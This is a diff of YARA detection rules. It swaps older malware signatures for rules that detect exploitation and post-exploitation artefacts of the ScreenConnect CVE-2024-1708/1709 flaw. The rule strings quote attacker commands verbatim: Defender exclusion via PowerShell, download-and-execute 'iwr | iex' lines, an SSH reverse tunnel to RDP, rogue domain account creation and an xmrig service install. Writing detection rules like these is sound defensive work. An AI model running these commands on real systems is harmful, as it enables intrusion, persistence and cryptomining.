-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "285985c21e34f8412b49dbfe04abad9f93af195801d0a8870ec3795b8a9a3787"
-		score = 65
+		description = "Detects suspicious ScreenConnect user with poc.com email address, which is a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability with the POC released by WatchTower and the account was already used yet to login"
+		author = "Florian Roth"
+		id = "91990558-f145-5968-9722-b6815f6ad8d5"
+		date = "2024-02-23"
+		modified = "2024-04-24"
+		reference = "https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/45e5b2f699a4d8f2d59ec3fc79a2e3c99db71882/watchtowr-vs-ConnectWise_2024-02-21.py#L53"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L40-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "50967a07a9789f20ccbc882c3b9e3142f0c28068c0a58b9d8927d725d02bf289"
+		score = 75
 		quality = 85
-		tags = ""
-		version = "1.0"
-		DaysofYARA = "1/100"
+		tags = "FILE"
 
 	strings:
-		$dimensions = {02 00 00 A0 ?? 00 ?? ?? 01 00 01 00 01}
+		$a1 = "<Users xmlns:xsi="
+		$a2 = "<CreationDate>"
+		$s1 = "@poc.com</Email>"
+		$f1 = "<LastLoginDate>0001"
 
 	condition:
-		uint32be(0x0)==0x4c000000 and all of them
+		filesize <200KB and all of ($a*) and $s1 and not 1 of ($f*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_Janicab_LNK
+rule SIGNATURE_BASE_SUSP_Screenconnect_Exploitation_Artefacts_Feb24 : SCRIPT
 {
 	meta:
-		description = "detect LNK files used in Janicab infection chain"
-		author = "Greg Lesnewich"
-		id = "c21844d3-eeee-530e-a69c-b7f604616f0b"
-		date = "2023-01-01"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_100days_of_yara_2023.yar#L46-L68"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0c7e8427ee61672568983e51bf03e0bcf6f2e9c01d2524d82677b20264b23a3f"
-		hash = "22ede766fba7551ad0b71ef568d0e5022378eadbdff55c4a02b42e63fcb3b17c"
-		hash = "4920e6506ca557d486e6785cb5f7e4b0f4505709ffe8c30070909b040d3c3840"
-		hash = "880607cc2da4c3213ea687dabd7707736a879cc5f2f1d4accf79821e4d24d870"
-		hash = "f4610b65eba977b3d13eba5da0e38788a9e796a3e9775dd2b8e37b3085c2e1af"
-		logic_hash = "f9c000ffb6a95d616459e00f0220ad26cb1df77e35582d14dfce1637ddfb466c"
+		description = "Detects post exploitation indicators observed by HuntressLabs in relation to the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability that allows an Authentication Bypass"
+		author = "Florian Roth"
+		id = "079f4153-8bc7-574f-b6fa-af5536b842ab"
+		date = "2024-02-23"
+		modified = "2024-04-24"
+		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L62-L103"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f0d5f878847da1afb0d7b83e84bd337cfa67c36da2cbb33af712ed4ffad490a"
 		score = 75
-		quality = 85
-		tags = ""
-		version = "1.0"
-		DaysofYARA = "1/100"
+		quality = 83
+		tags = "SCRIPT"
 
 	strings:
-		$j_pdf1 = "%PDF-1.5" ascii wide
-		$j_cmd = "\\Windows\\System32\\cmd.exe" ascii wide
-		$j_pdf_stream = "endstream" ascii wide
-		$j_pdb_obj = "endobj" ascii wide
-		$dimensions = {02 00 00 A0 ?? 00 ?? ?? 01 00 01 00 01}
+		$x01 = "-c foreach ($disk in Get-WmiObject Win32_Logicaldisk){Add-MpPreference -ExclusionPath $disk.deviceid}"
+		$x02 = ".msi c:\\mpyutd.msi"
+		$x03 = "/MyUserName_$env:UserName"
+		$x04 = " -OutFile C:\\Windows\\Help\\"
+		$x05 = "/Create /TN \\\\Microsoft\\\\Windows\\\\Wininet\\\\UserCache_"
+		$x06 = "$e = $r + \"ssh.exe\""
+		$x07 = "Start-Process -f $e -a $args -PassThru -WindowStyle Hidden).Id"
+		$x08 = "-R 9595:localhost:3389 -p 443 -N -oStrictHostKeyChecking=no "
+		$x09 = "chromeremotedesktophost.msi', $env:ProgramData+"
+		$x10 = "9595; iwr -UseBasicParsing "
+		$x11 = "curl  https://cmctt.]com/pub/media/wysiwyg/"
+		$x12 = ":8080/servicetest2.dll"
+		$x13 = "/msappdata.msi c:\\mpyutd.msi"
+		$x14 = "/svchost.exe -OutFile "
+		$x15 = "curl http://minish.wiki.gd"
+		$x16 = " -Headers @{'ngrok-skip-browser-warning'='true'} -OutFile "
+		$x17 = "rundll32.exe' -Headers @"
+		$x18 = "/nssm.exe' -Headers @"
+		$x19 = "c:\\programdata\\update.dat UpdateSystem"
+		$x20 = "::size -eq 4){\\\"TVqQAA" ascii wide
+		$x21 = "::size -eq 4){\"TVqQAA" ascii wide
+		$x22 = "-nop -c [System.Reflection.Assembly]::Load(([WmiClass]'root\\cimv2:System_"
+		$xp0 = "/add default test@2021! /domain"
+		$xp1 = "/add default1 test@2021! /domain"
+		$xp2 = "oldadmin Pass8080!!"
+		$xp3 = "temp 123123qwE /add "
+		$xp4 = "oldadmin \"Pass8080!!\""
+		$xp5 = "nssm set xmrig AppDirectory "
 
 	condition:
-		uint32be(0x0)==0x4C000000 and $dimensions and 2 of ($j_*)
+		1 of ($x*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_SUSP_ELF_Invalid_Version : FILE
+rule SIGNATURE_BASE_SUSP_Command_Line_Combos_Feb24_2 : SCRIPT FILE
 {
 	meta:
-		description = "Identify ELF file that has mangled header info."
-		author = "@shellcromancer"
-		id = "5bd97fdd-0912-5f9b-877c-91fff9b98dea"
-		date = "2023-01-01"
-		modified = "2023-12-05"
-		reference = "https://tmpout.sh/1/1.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_100days_of_yara_2023.yar#L70-L86"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "05379bbf3f46e05d385bbd853d33a13e7e5d7d50"
-		logic_hash = "33f096318647867bcd90d7ba77878f43d34477b2b2cbd7410c191e60573d6cd5"
-		score = 55
+		description = "Detects suspicious command line combinations often found in post exploitation activities"
+		author = "Florian Roth"
+		id = "d9bc6083-c3ca-5639-a9df-483fea6d0187"
+		date = "2024-02-23"
+		modified = "2024-04-24"
+		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L105-L118"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0cd7b4771aa8fd622e873c5cdc6689d24394e5faf026b36d5f228ac09f4e0441"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		version = "0.1"
+		tags = "SCRIPT, FILE"
+
+	strings:
+		$sa1 = " | iex"
+		$sa2 = "iwr -UseBasicParsing "
 
 	condition:
-		( uint32(0)==0x464c457f and uint8(0x6)>1)
+		filesize <2MB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_ELF_Torchtriton : FILE
+rule SIGNATURE_BASE_SUSP_PS1_Combo_Transfersh_Feb24 : SCRIPT
 {
 	meta:
-		description = "Detection for backdoor (TorchTriton) distributed with a nightly build of PyTorch"
-		author = "Silas Cutler"
-		id = "85e98ee7-30bf-554f-a0ac-9df263e6dfe4"
-		date = "2023-01-02"
-		modified = "2023-12-05"
-		reference = "https://www.bleepingcomputer.com/news/security/pytorch-discloses-malicious-dependency-chain-compromise-over-holidays/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_100days_of_yara_2023.yar#L88-L117"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2385b29489cd9e35f92c072780f903ae2e517ed422eae67246ae50a5cc738a0e"
-		logic_hash = "12de3c3785aaf3623097db58abfe8ee2cbd9a0e712bf752165952de9a5fdb07d"
-		score = 75
+		description = "Detects suspicious PowerShell command that downloads content from transfer.sh as often found in loaders"
+		author = "Florian Roth"
+		id = "fd14cca5-9cf8-540b-9d6e-39ca2c267272"
+		date = "2024-02-23"
+		modified = "2024-04-24"
+		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L120-L135"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "64d4343ecdcbc4a28571557bec2f31c1ff73c2ecf63d0feaa0a71001bb9bf499"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		version = "1.0"
-		DaysofYARA = "2/100"
+		tags = "SCRIPT"
 
 	strings:
-		$error = "failed to send packet"
-		$aes_key = "gIdk8tzrHLOM)mPY-R)QgG[;yRXYCZFU"
-		$aes_iv = "?BVsNqL]S.Ni"
-		$func01 = "splitIntoDomains("
-		$func02 = "packageForTransport"
-		$func03 = "gatherFiles"
-		$func04 = "void sendFile("
-		$domain = "&z-%`-(*"
+		$x1 = ".DownloadString('https://transfer.sh"
+		$x2 = ".DownloadString(\"https://transfer.sh"
+		$x3 = "Invoke-WebRequest -Uri 'https://transfer.sh"
+		$x4 = "Invoke-WebRequest -Uri \"https://transfer.sh"
 
 	condition:
-		uint32(0)==0x464c457f and (( all of ($aes_*)) or ( all of ($func*) and $error) or ($domain and 2 of them ))
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_GOLDBACKDOOR_LNK
+rule SIGNATURE_BASE_MAL_SUSP_RANSOM_Lockbit_Ransomnote_Feb24
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "Greg Lesnewich"
-		id = "9a80f875-4843-535c-9f2b-b04da55713b1"
-		date = "2023-01-02"
-		modified = "2023-12-05"
-		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_100days_of_yara_2023.yar#L119-L142"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "120ca851663ef0ebef585d716c9e2ba67bd4870865160fec3b853156be1159c5"
-		logic_hash = "043d01758c722964e848e51cf2747c5879f03f0fd43af827e2035abf113daf9d"
+		description = "Detects the LockBit ransom note file 'LockBit-DECRYPT.txt' which is a sign of a LockBit ransomware infection"
+		author = "Florian Roth"
+		id = "b2fcb2a7-49e8-520c-944f-6acd5ded579b"
+		date = "2024-02-23"
+		modified = "2024-04-24"
+		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L137-L149"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1fe07c33de1971b1f9430851dec4b8cd9f3ac7f087f0de18a2da4a390891b674"
 		score = 75
 		quality = 85
 		tags = ""
-		version = "1.0"
-		DaysofYARA = "2/100"
 
 	strings:
-		$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
-		$doc_icon_loc = "C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.exe" ascii wide
-		$script_apionedrivecom_hex_enc_str = "6170692e6f6e6564726976652e636f6d" wide
-		$script_kernel32dll_hex_enc_str = "6b65726e656c33322e646c6c" wide
-		$script_GlobalAlloc_hex_enc_str = "476c6f62616c416c6c6f63" wide
-		$script_VirtualProtect_hex_enc_str = "5669727475616c50726f74656374" wide
-		$script_WriteByte_hex_enc_str = "577269746542797465" wide
-		$script_CreateThread_hex_enc_str = "437265617465546872656164" wide
+		$x1 = ">>>> Your personal DECRYPTION ID:"
 
 	condition:
-		uint32be(0x0)==0x4C000000 and 1 of ($doc*) and 2 of ($script*)
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_EXE_Lockbit_V2 : FILE
+rule SIGNATURE_BASE_MAL_SUSP_RANSOM_Lazy_Ransomnote_Feb24
 {
 	meta:
-		description = "Detection for LockBit version 2.x from 2011"
-		author = "Silas Cutler, modified by Florian Roth"
-		id = "a2c27110-e63b-5f93-88a0-98c12811e8b4"
-		date = "2023-01-01"
-		modified = "2023-01-06"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_100days_of_yara_2023.yar#L144-L169"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8"
-		logic_hash = "9472727d75e34d8bf87c56b74a6dfc04052e621b5fe31732ea9a10c76a05e0c0"
-		score = 80
-		quality = 60
-		tags = "FILE"
-		version = "1.0"
-		DaysofYARA = "1/100"
+		description = "Detects the Lazy ransom note file 'HowToRestoreYourFiles.txt' which is a sign of a Lazy ransomware infection"
+		author = "Florian Roth"
+		id = "287dfd67-8d0d-5906-b593-3af42a5a3aa4"
+		date = "2024-02-23"
+		modified = "2024-04-24"
+		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L151-L163"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c9416d05f0bd9aab9d6108380c1b5364f4c4e112b6e0726202f083eaacfdcf56"
+		score = 75
+		quality = 85
+		tags = ""
 
 	strings:
-		$s_ransom_note01 = "that is located in every encrypted folder." wide
-		$s_ransom_note02 = "Would you like to earn millions of dollars?" wide
-		$x_ransom_tox = "3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7" wide
-		$x_ransom_url = "http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion" wide
-		$s_str1 = "Active:[ %d [                  Completed:[ %d" wide
-		$x_str2 = "\\LockBit_Ransomware.hta" wide ascii
-		$s_str2 = "Ransomware.hta" wide ascii
+		$x1 = "All Encrypted files can be reversed to original form and become usable"
 
 	condition:
-		uint16(0)==0x5A4D and (1 of ($x*) or 2 of them ) or 3 of them
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_EXE_Prestigeransomware : FILE
+rule SIGNATURE_BASE_SUSP_MAL_Signingcert_Feb24_1 : CVE_2024_1708 CVE_2024_1709 FILE
 {
 	meta:
-		description = "Detection for Prestige Ransomware"
-		author = "Silas Cutler, modfied by Florian Roth"
-		id = "5ac8033a-8b15-5abe-89d5-018a4fef9ab5"
-		date = "2023-01-04"
-		modified = "2023-01-06"
-		reference = "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_100days_of_yara_2023.yar#L171-L195"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5fc44c7342b84f50f24758e39c8848b2f0991e8817ef5465844f5f2ff6085a57"
-		logic_hash = "2f51ca71d28c8d0df8de22011e16919672d5f9d3f3d94594c5d0cbf7f1585a1e"
-		score = 80
+		description = "Detects PE files signed with a certificate used to sign malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
+		author = "Florian Roth"
+		id = "f25ea77a-1b4e-5c13-9117-eedf0c20335a"
+		date = "2024-02-23"
+		modified = "2024-04-24"
+		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L166-L184"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "824efe1fa441322d891805df9a1637ebb44d18889572604acc125bf79a2d1083"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		version = "1.0"
-		DaysofYARA = "4/100"
+		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
+		hash1 = "37a39fc1feb4b14354c4d4b279ba77ba51e0d413f88e6ab991aad5dd6a9c231b"
+		hash2 = "e8c48250cf7293c95d9af1fb830bb8a5aaf9cfb192d8697d2da729867935c793"
 
 	strings:
-		$x_ransom_email = "Prestige.ranusomeware@Proton.me" wide
-		$x_reg_ransom_note = "C:\\Windows\\System32\\reg.exe add HKCR\\enc\\shell\\open\\command /ve /t REG_SZ /d \"C:\\Windows\\Notepad.exe C:\\Users\\Public\\README\" /f" wide
-		$ransom_message01 = "To decrypt all the data, you will need to purchase our decryption software." wide
-		$ransom_message02 = "Contact us {}. In the letter, type your ID = {:X}." wide
-		$ransom_message03 = "- Do not try to decrypt your data using third party software, it may cause permanent data loss." wide
-		$ransom_message04 = "- Do not modify or rename encrypted files. You will lose them." wide
+		$s1 = "Wisdom Promise Security Technology Co." ascii
+		$s2 = "Globalsign TSA for CodeSign1" ascii
+		$s3 = { 5D AC 0B 6C 02 5A 4B 21 89 4B A3 C2 }
 
 	condition:
-		uint16(0)==0x5A4D and (1 of ($x*) or 2 of them or pe.imphash()=="a32bbc5df4195de63ea06feb46cd6b55")
+		uint16(0)==0x5a4d and filesize <70000KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_EXE_Royalransomware : FILE
+rule SIGNATURE_BASE_MAL_CS_Loader_Feb24_1 : CVE_2024_1708 CVE_2024_1709 FILE
 {
 	meta:
-		description = "Detection for Royal Ransomware seen Dec 2022"
-		author = "Silas Cutler, modfied by Florian Roth"
-		id = "f83316f7-b8c4-5907-a38e-80535215e7ef"
-		date = "2023-01-03"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_100days_of_yara_2023.yar#L197-L222"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a8384c9e3689eb72fa737b570dbb53b2c3d103c62d46747a96e1e1becf14dfea"
-		logic_hash = "6f93bade7709945b478cbdc721d85ad9243d56ace19fba25835cec13a6210dfb"
+		description = "Detects Cobalt Strike malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
+		author = "Florian Roth"
+		id = "6c9914a4-b079-5a39-9d3b-7b9a2b54dc2b"
+		date = "2024-02-23"
+		modified = "2024-04-24"
+		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L186-L206"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ae0e25c2dda1b727978977c674e834cd659661c597d88395a6f46ad5a179e9f0"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		version = "1.0"
-		DaysofYARA = "3/100"
+		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
+		hash1 = "0a492d89ea2c05b1724a58dd05b7c4751e1ffdd2eab3a2f6a7ebe65bf3fdd6fe"
 
 	strings:
-		$x_ext = ".royal_" wide
-		$x_fname = "royal_dll.dll"
-		$s_readme = "README.TXT" wide
-		$s_cli_flag01 = "-networkonly" wide
-		$s_cli_flag02 = "-localonly" wide
-		$x_ransom_msg01 = "If you are reading this, it means that your system were hit by Royal ransomware."
-		$x_ransom_msg02 = "Try Royal today and enter the new era of data security!"
-		$x_onion_site = "http://royal2xthig3ou5hd7zsliqagy6yygk2cdelaxtni2fyad6dpmpxedid.onion/"
+		$s1 = "Dll_x86.dll" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and (2 of ($x*) or 5 of them )
+		uint16(0)==0x5a4d and filesize <1000KB and (pe.exports("UpdateSystem") and (pe.imphash()=="0dc05c4c21a86d29f1c3bf9cc5b712e0" or $s1))
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_PY_Dimorf
+rule SIGNATURE_BASE_MAL_RANSOM_Lockbit_Indicators_Feb24 : CVE_2024_1708 CVE_2024_1709 FILE
 {
 	meta:
-		description = "Detection for Dimorf ransomeware"
-		author = "Silas Cutler"
-		id = "78b53433-6926-58cd-8ec0-2195af803aab"
-		date = "2023-01-03"
-		modified = "2023-12-05"
-		reference = "https://github.com/Ort0x36/Dimorf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_100days_of_yara_2023.yar#L224-L242"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7499b21f77d07364983b94134a60f7c99e71a5392386437d459a196bf71852fb"
+		description = "Detects Lockbit ransomware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
+		author = "Florian Roth"
+		id = "108430c8-4fe5-58a1-b709-539b257c120c"
+		date = "2024-02-23"
+		modified = "2024-04-24"
+		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L208-L228"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e4cd6b1a1bc57bf25c71f6bc228f45e4a996f9d9d391aeb3dda9c7d7857610bc"
 		score = 75
 		quality = 85
-		tags = ""
-		version = "1.0"
+		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
+		hash1 = "a50d9954c0a50e5804065a8165b18571048160200249766bfa2f75d03c8cb6d0"
 
 	strings:
-		$func01 = "def find_and_encrypt"
-		$func02 = "def check_os"
-		$comment01 = "checks if the user has permission on the file."
-		$misc01 = "log_dimorf.log"
-		$misc02 = ".dimorf"
+		$op1 = { 76 c1 95 8b 18 00 93 56 bf 2b 88 71 4c 34 af b1 a5 e9 77 46 c3 13 }
+		$op2 = { e0 02 10 f7 ac 75 0e 18 1b c2 c1 98 ac 46 }
+		$op3 = { 8b c6 ab 53 ff 15 e4 57 42 00 ff 45 fc eb 92 ff 75 f8 ff 15 f4 57 42 00 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="914685b69f2ac2ff61b6b0f1883a054d" or 2 of them ) or all of them
 }
-rule SIGNATURE_BASE_EXPL_Citrix_Netscaler_ADC_Forensicartifacts_CVE_2023_3519_Jul23_2 : CVE_2023_3519 FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_MSI_Mpyutils_Feb24_1 : CVE_2024_1708 CVE_2024_1709 FILE
 {
 	meta:
-		description = "Detects forensic artifacts found after an exploitation of Citrix NetScaler ADC CVE-2023-3519"
+		description = "Detects malicious MSI package mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
 		author = "Florian Roth"
-		id = "471ce547-0133-5836-b9d1-02c932ecfd1e"
-		date = "2023-07-21"
-		modified = "2023-12-05"
-		reference = "https://www.cisa.gov/sites/default/files/2023-07/aa23-201a_csa_threat_actors_exploiting_citrix-cve-2023-3519_to_implant_webshells.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar#L27-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "48d4225d0935084003f7a98c554d7c4722a91290dfe190001da52bce332b3f7d"
+		id = "e7794336-a325-5b92-8c25-81ed9cb28044"
+		date = "2024-02-23"
+		modified = "2024-04-24"
+		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L230-L247"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ba20db486e5d3c29c9702e10628fb3c0e55e52bbec74e3a86ed6511a6475b82f"
 		score = 70
 		quality = 85
-		tags = "CVE-2023-3519, FILE"
+		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
+		hash1 = "8e51de4774d27ad31a83d5df060ba008148665ab9caf6bc889a5e3fba4d7e600"
 
 	strings:
-		$s1 = "tar -czvf - /var/tmp/all.txt" ascii fullword
-		$s2 = "-out /var/tmp/test.tar.gz" ascii
-		$s3 = "/test.tar.gz /netscaler/"
+		$s1 = "crypt64ult.exe" ascii fullword
+		$s2 = "EXPAND.EXE" wide fullword
+		$s6 = "ICACLS.EXE" wide fullword
 
 	condition:
-		filesize <10MB and 1 of them
+		uint16(0)==0xcfd0 and filesize <20000KB and all of them
 }
-rule SIGNATURE_BASE_EXPL_Citrix_Netscaler_ADC_Forensicartifacts_CVE_2023_3519_Jul23_3 : CVE_2023_3519 FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Beacon_Unknown_Feb24_1 : CVE_2024_1708 CVE_2024_1709 FILE
 {
 	meta:
-		description = "Detects forensic artifacts found after an exploitation of Citrix NetScaler ADC CVE-2023-3519"
+		description = "Detects malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709 "
 		author = "Florian Roth"
-		id = "2f40b423-f1da-5711-ac4f-18de77cd52d0"
-		date = "2023-07-24"
-		modified = "2023-12-05"
-		reference = "https://www.mandiant.com/resources/blog/citrix-zero-day-espionage"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_citrix_netscaler_adc_exploitation_cve_2023_3519.yar#L43-L61"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e78e1a788503b841ed0f4e5cd415eb35d8911092778120d7fd061ed20820da37"
-		score = 70
+		id = "9299fd44-5327-5a73-8299-108b710cb16e"
+		date = "2024-02-23"
+		modified = "2024-04-24"
+		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L249-L268"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fd6ebc6676d677d6bc19398026eee7b7d2f9727ba7a3c79d1e970a6dc19548aa"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-3519, FILE"
+		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
+		hash1 = "6e8f83c88a66116e1a7eb10549542890d1910aee0000e3e70f6307aae21f9090"
